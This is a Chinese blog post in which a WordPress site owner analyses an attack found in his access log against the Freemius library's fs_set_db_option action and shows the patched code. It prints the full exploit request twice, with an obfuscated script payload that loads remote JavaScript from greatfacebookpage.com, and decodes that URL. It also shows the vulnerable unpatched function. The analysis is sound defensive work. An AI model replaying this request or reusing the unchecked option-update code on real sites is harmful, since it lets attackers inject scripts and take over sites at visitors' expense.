修复黑客利用Freemius类绕过过身份验证的选项(漏洞-wordpress)

如果浏览不顺畅请到原文章出处:https://www.sky8g.com/technology/2947/

请注意可能会提示风险,这是csdn官网如果不是他们的网址,其他的网址都会提示有风险,这是CSDN网站设置的问题,本网站全部文章为免费技术分享,请放心访问,无需担心。

原文章出处:https://www.sky8g.com/technology/2947/

此篇文章是由SKY8G网作者原创,禁止抄袭。

作为博客、论坛、或者电商网站等的博主,相信大家都知道, wordpress是世界上创建网站最简单的平台,他有及其丰富的插件功能。让你的网站运行效率更加完善。但是这样多的个人用户或者商家使用它,必然给黑客带来了很好的研究对象,这样就让黑客更加专注于对你的wordpree网站进行恶意的访问和分析你网站的漏洞。目的是为了获取你的用户信息,或者获取你用户信用卡信息,这是非常可怕的事情。那么我 们如何使我们的网站更加安全呢?

此篇文章是由SKY8G网作者进行编辑,禁止抄袭,违者必究

WordPress网站分析漏洞 

首先,我们一定要养成常看网站日志的习惯,这样可以及时发现漏洞避免不必要的损失。一般情况我们所使用的web服务器通常为三种。

  1. 第一种是Apache服务器。
  2. 第二种是Nginx服务器。
  3. 第三种是大型公司自己的开发服务器,例如

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    今天收集了几个大网站所使用的web服务器,每个网站都使用几种web服务器,有的是开源的有的是自己开发的。

    网站  url                          Server

    谷歌  http://www.google.com.hk/    gws,sffe

    百度  http://www.baidu.com/        BWS/1.0,Apache

    新浪  http://www.sina.com.cn/      Apache,MediaV/0.1.54,nginx

    搜狐  http://www.sohu.com/         Apache/2.2.4,SWS,nginx

    网易  http://www.163.com/          nginx,Apache/2.0

    腾讯  http://www.qq.com/           squid/3.0,cws/3.1

    淘宝  http://www.taobao.com/       Tengine,Apache,nginx

    京东  http://www.360buy.com/       JDWS,Apache

    雅虎  http://cn.yahoo.com/         YTS/1.16.0

    图都  http://www.tudou.com/        tws0.3,nginx/0.7.59

    迅雷  http://www.xunlei.com/       nginx/0.7.69

当然再好的服务器也不一定没有漏洞,所以网站的安全至关重要。查看网站的访问日志、错误日志、ssh登录失败日志登录,经常查看。这里不再介绍如何查看日志,自己可以通过百度和谷歌进行查阅。

WordPress网站发现漏洞 

只要我们勤于看日志,总结分析日志通常会使网站健康安全运行。当然如果你不是专业的运维人员或DBA的话也不一定做到每天观看日志,对于我来说就不能天天看日志了。今天我突然查看了日志,讲过查看访问本网站的IP有一个恶意的访问,并且试图破坏我的网站,如下:

1

2

访问的时间和访问的url

xxx.xxx.xxx.xxx - -  "GET //wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=fonts&option_value=<script  async=true type=text/javascript language=javascript>var nt = String.fromCharCode(57);var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);</script> HTTP/1.1" 301 162 "http://sky8g.com/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=fonts&option_value=<script  async=true type=text/javascript language=javascript>var nt = String.fromCharCode(57);var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);</script>" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" "-"

于是看到这个url非常的异常,通过分析竟然是一段脚本短码及时黑客利用wordpress漏洞进行攻击的恶意js代码。于是经过浏览器javascript console.log()进行解析如下。

1

2

3

4

5

6

7

8

9

10

11

12

13

var nt = String.fromCharCode(57);

var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);

var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);

var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47);

var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);

var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);

var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];

console.log(nt);

console.log(mb);

console.log(sb);

console.log(jb);

console.log(tb);

console.log(lb);

输出如下:

1

2

3

4

5

6

9

VM1380:9 ajaxCounter

VM1380:10 script

VM1380:11 https://

VM1380:12 text/javascript

VM1380:13 greatfacebookpage.com/dlto.js?t=p&a=

完整的url为:

1

https://greatfacebookpage.com/dlto.js?t=p&a=9

经过查看这是个js脚本代码。这段代码有着破坏网站的行为,这将允许任何有权访问WordPress帐户的人接管网站,并且是黑客过去曾试图广泛利用的漏洞类型,因此可能存在大量漏洞因此而尝试他可以创建在你的网站创建用户,此用户有着超级管理员权限这是非常危险的。所以我们需要解决这个问题,他是利用我们wordpress中第三方库的class-freemius.php 这个库函数在你没有更新之前有一个漏洞。

受影响的Wordpree插件 

(2019年3月8日更新)

请尽快更新的你插件漏洞,以便你网站安全运行。

更新WordPress网站漏洞 

我们现在已经回顾了1000个最受欢迎的插件,发现很多使用这个库,如下所列,其中很多还没有发布固定版本。在我们发现了这个漏洞我们就要进行修复或者更新漏洞,目前GitHub上Freemius 已经更新了此库函数,更新时间为2019年6月5日。更新的步骤代码为如下图:

原来 的代码如下,在2828行到2848行之间

1

2

3

4

5

6

7

8

9

10

11

12

13

14

        /**

         * @author Vova Feldman (@svovaf)

         * @since  1.2.1.7

         */

        static function _set_db_option() {

            $option_name  = fs_request_get( 'option_name' );

            $option_value = fs_request_get( 'option_value' );

            if ( ! empty( $option_value ) ) {

                update_option( $option_name, $option_value );

            }

            self::shoot_ajax_success();

        }

更新为代码如下图

1

2

3

4

5

6

7

8

9

10

11

12

13

14

        static function _set_db_option() {

            check_admin_referer( 'fs_set_db_option' );

            $option_name = fs_request_get( 'option_name' );

            if ( ! is_super_admin() ||

                 ! fs_starts_with( $option_name, 'fs_' )

            ) {

                self::shoot_ajax_failure();

            }

            $option_value = fs_request_get( 'option_value' );

            if ( ! empty( $option_value ) ) {

                update_option( $option_name, $option_value );

            }

            self::shoot_ajax_success();

        }

这样就避免了黑客利用这一漏洞进行恶意访问你的网站了。如果喜欢我们的文章就点击右边栏订阅吧。

如果有不懂的地方请留言,SKY8G网站编辑者专注于研究IT源代码研究与开发。希望你下次光临,你的认可和留言是对我们最大的支持,谢谢!

发布了65 篇原创文章 · 获赞 6 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/jimbooks/article/details/98037317
今日推荐